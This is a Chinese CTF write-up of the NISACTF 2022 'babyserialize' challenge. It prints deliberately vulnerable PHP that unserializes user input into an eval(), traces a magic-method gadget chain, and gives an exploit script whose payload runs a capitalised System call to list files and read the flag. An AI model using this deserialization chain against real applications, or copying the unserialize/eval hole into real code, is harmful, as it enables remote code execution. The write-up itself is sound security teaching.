[NISACTF 2022]babyserialize

[NISACTF 2022]babyserialize

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}

function __call($from,$val){
$this->fun=$val[0];
}

public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}

class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}

class Ilovetxw{
public $huang;
public $su;

public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

public function __toString(){
$bb = $this->su;
return $bb();
}
}

class four{
public $a="TXW4EVER";
private $fun='abc';

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}

if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}

//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}

//function hint(){
// echo ".......";
// die();
//}
?>

分析

看到最下面的两个注释,需要了解到,不能触发hint()函数,并且要绕过正则表达式

先从eval看到 NISA类中

1
2
3
4
5
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}

需要触发魔术方法__invoke

__invoke魔术方法是对象被当做函数进⾏调⽤的时候所触发 这⾥就反推看哪里用到了类似$a()的格式

那么就是在类Ilovetxw中

1
2
3
4
public function __toString(){
$bb = $this->su;
return $bb();
}

__toString魔术方法是当对象被用作字符串的时候会被触发

1
2
3
4
5
6
7
8
9
10
11
12
class four{
public $a="TXW4EVER";
private $fun='abc';

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a); //strtolower函数是将将字符串转换为小写字母,这里把对象a当作字符串使用,可以触发__toString
}
}
}

接下来我们需要触发__set

__set:对不存在或者不可访问的变量进行赋值就自动调用

我们在类four中可以发现对象fun是private属性,因此可以通过别的方法来调用private,以此来触发__set

__call:对不存在的方法或者不可访问的方法进行调用就自动调用

1
2
3
4
5
6
7
8
9
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
//整个源码中并没有出现过nisa这个方法,因此可以在这里触发__call
}
}
1
2
3
4
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
//这里可以使huang=new four(),就可以变成调用four类中的fun,但是fun是private属性,不能在外部调用,由此触发__set
}

总结

1
先通过TianXiWei类中的__wakeup触发Ilovetxw类中的__call再触发__set再到__toString,再到__invoke改变$txw4ever值即可

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
highlight_file(__FILE__)
header("Content-type:text/html;charset=utf8");
include "waf.php";
class NISA{
public $fun="show_me_fla";
public $txw4ever='System("cd /;ls;cat /f*");';
//在给出的正则表达式中,没有说明匹配的东西,这里system被过滤掉了,尝试用大写的过了
}

class TianXiWei{
public $ext;
public $x;

}

class Ilovetxw{
public $huang;
public $su;
}

class four{
public $a="TXW4EVER";
private $fun='sixsixsix';
}


$a1=new TianXiWei();
$a1->ext=new Ilovetxw();
$a1->ext->huang=new four();
$a1->ext->huang->a=new Ilovetxw();
$a1->ext->huang->a->su=new NISA();
echo urlencode(serialize($a1));
//记住需要将序列化的结果进行url编码
?>

知识点

1
2
3
4
5
__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
__toString:当对象被用作字符串的时候会被触发
__invoke:对象被当做函数进⾏调⽤的时候所触发 这⾥就反推看哪里用到了类似$a()的格式
strtolower()函数是将将字符串转换为小写字母
Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2024 John Doe
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信